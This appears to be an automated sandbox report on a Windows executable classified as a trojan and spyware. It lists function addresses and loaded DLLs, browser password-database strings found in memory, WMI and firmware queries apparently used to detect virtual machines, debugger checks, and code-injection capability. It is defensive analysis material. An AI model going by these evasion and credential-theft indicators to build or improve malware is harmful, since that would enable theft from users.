Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0043BD70	4_2_0043BD70
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00407D10	4_2_00407D10
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00422D10	4_2_00422D10
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00416D3A	4_2_00416D3A
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00427DC0	4_2_00427DC0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0040CDD0	4_2_0040CDD0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0043C5ED	4_2_0043C5ED
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0042EDF0	4_2_0042EDF0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0040B590	4_2_0040B590
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_004135B0	4_2_004135B0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00403E50	4_2_00403E50
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0043965A	4_2_0043965A
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00410670	4_2_00410670
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0041D610	4_2_0041D610
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0042EE10	4_2_0042EE10
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00437E14	4_2_00437E14
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00441ED6	4_2_00441ED6
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00444ED0	4_2_00444ED0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00430E89	4_2_00430E89
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00426770	4_2_00426770
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0042DF70	4_2_0042DF70
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0042BF00	4_2_0042BF00
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0044171A	4_2_0044171A
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00423720	4_2_00423720
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00439F20	4_2_00439F20
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0040C730	4_2_0040C730
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00404732	4_2_00404732
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00448FC7	4_2_00448FC7
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_004457D0	4_2_004457D0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0041FFE0	4_2_0041FFE0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0043B7E0	4_2_0043B7E0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00408FF0	4_2_00408FF0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0042D7FD	4_2_0042D7FD
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0043DFB0	4_2_0043DFB0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_0044C7B0	4_2_0044C7B0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DF00D0	4_2_00DF00D0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DC8090	4_2_00DC8090
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DD0890	4_2_00DD0890
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DE3890	4_2_00DE3890
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DF1890	4_2_00DF1890
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DC4080	4_2_00DC4080
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DED080	4_2_00DED080
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DC58A0	4_2_00DC58A0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DDE0A0	4_2_00DDE0A0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DD4040	4_2_00DD4040
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DC6070	4_2_00DC6070
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DEF060	4_2_00DEF060
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DF3813	4_2_00DF3813
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DDC010	4_2_00DDC010
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DC1000	4_2_00DC1000
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DDA820	4_2_00DDA820
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DD9020	4_2_00DD9020
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DEA020	4_2_00DEA020
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DC31F0	4_2_00DC31F0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DDB1E0	4_2_00DDB1E0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DD6180	4_2_00DD6180
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DEF9B0	4_2_00DEF9B0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DC4940	4_2_00DC4940
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DDC940	4_2_00DDC940
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DCE170	4_2_00DCE170
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DF3160	4_2_00DF3160
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DE0110	4_2_00DE0110
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DE9100	4_2_00DE9100
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00E0C908	4_2_00E0C908
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DF2920	4_2_00DF2920
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DCF2D0	4_2_00DCF2D0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DD52C0	4_2_00DD52C0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DEF2E0	4_2_00DEF2E0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DD4290	4_2_00DD4290
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DC2280	4_2_00DC2280
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DE9AB0	4_2_00DE9AB0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DCEAA0	4_2_00DCEAA0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DF6A54	4_2_00DF6A54
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DE8A50	4_2_00DE8A50
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DE0A10	4_2_00DE0A10
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DE6A00	4_2_00DE6A00
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DE8200	4_2_00DE8200
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DC5220	4_2_00DC5220
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DC9220	4_2_00DC9220
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DE5220	4_2_00DE5220
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DDF3D0	4_2_00DDF3D0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DD73F0	4_2_00DD73F0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DC6390	4_2_00DC6390
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DD3390	4_2_00DD3390
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DDABA0	4_2_00DDABA0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DE0350	4_2_00DE0350
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DC8340	4_2_00DC8340
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DEEB40	4_2_00DEEB40
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DDFB70	4_2_00DDFB70
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DE1370	4_2_00DE1370
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DCC310	4_2_00DCC310
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DCB300	4_2_00DCB300
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DCE4C0	4_2_00DCE4C0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DD3CC0	4_2_00DD3CC0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DDCCE0	4_2_00DDCCE0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DD0490	4_2_00DD0490
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DF3C90	4_2_00DF3C90
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DC6C80	4_2_00DC6C80
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DD6480	4_2_00DD6480
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DE5480	4_2_00DE5480
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DF2480	4_2_00DF2480
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DC54A0	4_2_00DC54A0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DE8450	4_2_00DE8450
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DC2C40	4_2_00DC2C40
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DDEC40	4_2_00DDEC40
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DE8C40	4_2_00DE8C40
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DF3477	4_2_00DF3477
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DE5C60	4_2_00DE5C60
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00E01420	4_2_00E01420
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DFB41A	4_2_00DFB41A
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DC5C20	4_2_00DC5C20
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DEF5D0	4_2_00DEF5D0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DF35C0	4_2_00DF35C0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DC9580	4_2_00DC9580
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DEDD80	4_2_00DEDD80
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DD55B0	4_2_00DD55B0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DEEDB0	4_2_00DEEDB0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DDDD50	4_2_00DDDD50
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DEFD50	4_2_00DEFD50
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DD8540	4_2_00DD8540
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DDD560	4_2_00DDD560
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DD9500	4_2_00DD9500
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DC7D30	4_2_00DC7D30
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DCF530	4_2_00DCF530
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DCAD30	4_2_00DCAD30
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DD26F0	4_2_00DD26F0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DF1EF0	4_2_00DF1EF0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DD2E90	4_2_00DD2E90
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DE8690	4_2_00DE8690
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DF2E90	4_2_00DF2E90
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DEB680	4_2_00DEB680
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DDC6A0	4_2_00DDC6A0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DD7E50	4_2_00DD7E50
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DC8640	4_2_00DC8640
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DC3640	4_2_00DC3640
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DD6E40	4_2_00DD6E40
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DC4660	4_2_00DC4660
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DDB630	4_2_00DDB630
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DE9630	4_2_00DE9630
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DD7620	4_2_00DD7620
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DD0E20	4_2_00DD0E20
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DF0620	4_2_00DF0620
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DC67D0	4_2_00DC67D0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DC9FF0	4_2_00DC9FF0
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DC1790	4_2_00DC1790
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DD6790	4_2_00DD6790
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DCB780	4_2_00DCB780
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DE0F80	4_2_00DE0F80
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00E0E782	4_2_00E0E782
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DDFF70	4_2_00DDFF70
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DE9F00	4_2_00DE9F00
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DCE730	4_2_00DCE730
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DD9720	4_2_00DD9720

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: String function: 0040B390 appears 43 times
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: String function: 00DF6F60 appears 102 times
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: String function: 00E04014 appears 34 times
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: String function: 00DFF1CC appears 46 times
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: String function: 0041A860 appears 95 times

Source: SoftWare(2).exe1.exe

Static PE information: invalid certificate

Source: SoftWare(2).exe1.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: SoftWare(2).exe1.exe

Static PE information: Section: .bss ZLIB complexity 1.0003236607142858

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/0@1/2

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe

Code function: 4_2_00443EA0 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

4_2_00443EA0

Source: SoftWare(2).exe1.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SoftWare(2).exe1.exe, 00000004.00000003.1386465121.0000000003505000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: SoftWare(2).exe1.exe

Virustotal: Detection: 45%

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe

File read: C:\Users\user\Desktop\SoftWare(2).exe1.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SoftWare(2).exe1.exe "C:\Users\user\Desktop\SoftWare(2).exe1.exe"
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Process created: C:\Users\user\Desktop\SoftWare(2).exe1.exe "C:\Users\user\Desktop\SoftWare(2).exe1.exe"
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Process created: C:\Users\user\Desktop\SoftWare(2).exe1.exe "C:\Users\user\Desktop\SoftWare(2).exe1.exe"	Jump to behavior

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: SoftWare(2).exe1.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DF711A push ecx; ret	2_2_00DF712D
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_004548BF push ss; iretd	4_2_004548DA
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DF711A push ecx; ret	4_2_00DF712D

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe

Window / User API: threadDelayed 6379

Jump to behavior

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe TID: 7388	Thread sleep time: -210000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe TID: 5444	Thread sleep count: 6379 > 30			Jump to behavior

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00E08ECE FindFirstFileExW,	2_2_00E08ECE
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00E08F7F FindFirstFileExW,FindNextFileW,FindClose,FindClose,	2_2_00E08F7F
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00E08ECE FindFirstFileExW,	4_2_00E08ECE
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00E08F7F FindFirstFileExW,FindNextFileW,FindClose,FindClose,	4_2_00E08F7F

Source: SoftWare(2).exe1.exe, 00000004.00000003.1485032247.0000000000A59000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000002.2594922765.0000000000A1C000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000003.1461280809.0000000000A59000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000002.2595298145.0000000000A5D000.00000004.00000020.00020000.00000000.sdmp, SoftWare(2).exe1.exe, 00000004.00000003.2162189965.0000000000A59000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe

API call chain: ExitProcess graph end node

graph_4-42061

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe

Code function: 4_2_00449710 LdrInitializeThunk,

4_2_00449710

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe

Code function: 2_2_00DF6DE8 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

2_2_00DF6DE8

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe

Code function: 2_2_00E1F1B4 mov edi, dword ptr fs:[00000030h]

2_2_00E1F1B4

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe

Code function: 2_2_00E0490C GetProcessHeap,

2_2_00E0490C

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DF6A2C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00DF6A2C
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DF6DDC SetUnhandledExceptionFilter,	2_2_00DF6DDC
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DF6DE8 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00DF6DE8
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 2_2_00DFEF1E IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00DFEF1E
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DF6A2C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_00DF6A2C
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DF6DDC SetUnhandledExceptionFilter,	4_2_00DF6DDC
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DF6DE8 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00DF6DE8
Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe	Code function: 4_2_00DFEF1E IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00DFEF1E

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\SoftWare(2).exe1.exe

